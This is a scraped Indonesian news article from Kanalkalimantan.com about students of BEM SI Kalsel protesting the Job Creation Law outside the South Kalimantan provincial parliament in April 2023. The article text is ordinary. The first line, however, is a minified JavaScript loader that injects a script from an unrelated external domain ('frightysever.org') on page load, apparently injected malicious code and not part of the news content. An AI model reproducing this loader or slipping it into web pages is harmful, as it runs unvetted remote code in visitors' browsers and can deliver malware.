(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Sosok tiga orang wakil rakyat nampak berjejer dihadapkan ke depan ratusan massa unjuk rasa mahasiswa BEM SI Kalsel, Kamis (6/4/2023) siang.
Ketiga sosok itu di antaranya dua laki-laki dan satu perempuan berseragam layaknya pegawai kantoran berwarna hitam dan putih. Sosok itu merupakan bagian dari mahasiswa.
Mereka memakai topeng wajah menirukan tiga orang wakil rakyat. Yaitu Supian HK Ketua DPRD Kalsel, Rachman Norlias Komisi I dan Komisi IV DPRD Kalsel Luthfi Syaifuddin.
Baca juga: BREAKING NEWS. Mahasiswa Berunjuk Rasa di DPRD Kalsel
Mereka muncul ketika lebih dari lima orang massa yang sudah lelah berorasi, namun tak kunjung ditemui oleh pimpinan maupun anggota DPRD Kalsel.
Diketahui kali ini hanya diisi dengan orasi dan kekesalan massa yang tak bisa bertemu wakil rakyat lantaran sedang berada di luar daerah.
“Sangat disayangkan, hari ini sesuai dgn jadwal di bulan April bahwa ada pertemuan Panitia Khusus (Pansus) LKPD, maka anggota dan pimpinan semua di luar daerah,” ujar Sekretaris DPRD Kalsel, Muhammad Jaini di depan massa aksi.
Unjuk rasa yang dipelopori BEM SI Kalsel ini diikuti sedikitnya 150 orang dari mahasiswa dari berbagai perguruan tinggi di Kalsel. Mereka pun mengungkapkan kekecewaannya.
“Sikap tegas wakil rakyat lah yang kami harapkan, kami paham tapi bukan bapak yang kami cari, untuk apa mengadakan laporan ke luar daerah jika di daerah masih memiliki masalah yang belum terselrsaikan,” ucap Adi, salah seorang massa aksi.
Mahasiswa melakukan penolakan terhadap Undang-Undang Cipta Kerja dan Perppu Tipu-tipu atau Cipta Kerja yang sudah menimbulkan kontroversial dari sejumlah pihak.
Baca juga: Tiga Ruas Jalan ‘Maut’ di Banjarbaru, 24 Insiden Kecelakaan 11 Meninggal Dunia
BEM SI Kalsel juga sudah beberapa kali berunjuk rasa di kantor DPRD Kalsel untuk menuntut agar Undang-Undang tersebut dicabut karena dinilai merugikan para buruh.
Selain itu, BEM SI Kalsel juga menuntut Presiden selaku kepala negara dan DPR RI untuk sesegera mungkin mencabut Undang-Undang Cipta Kerja yang menurut mereka bermasalah.
Hingga pukul 12.30 Wita massa mahasiswa masih dihadapkan dengan pihak kepolisian lantaran, Sekretaris DPRD pergi meninggalkan massa.
“Mohon maaf sekali, kami pun telah menerima surat dari massa sekalian, namun kali ini benar-benar jadwalnya yang bertepatan dengan pansus, mohon pengertiannya Assalamualaikum,” tuntas Jaini yang meninggalkan massa.
Terpantau setelah Jaini beserta jajaran meninggalkan jalan, massa dengan serentak menerobos barisan kepolisian hingga menimbulkan sedikit ketegangan. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More
KANALKALIMANTAN.COM, MARTAPURA - Sebanyak 81 orang terdiri atas 27 laki-laki dan 54 perempuan dari beberapa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sebuah rumah di Jalan Sutoyo S, Gang Serumpun, Kelurahan Pelambuan, Kecamatan Banjarmasin… Read More
This website uses cookies.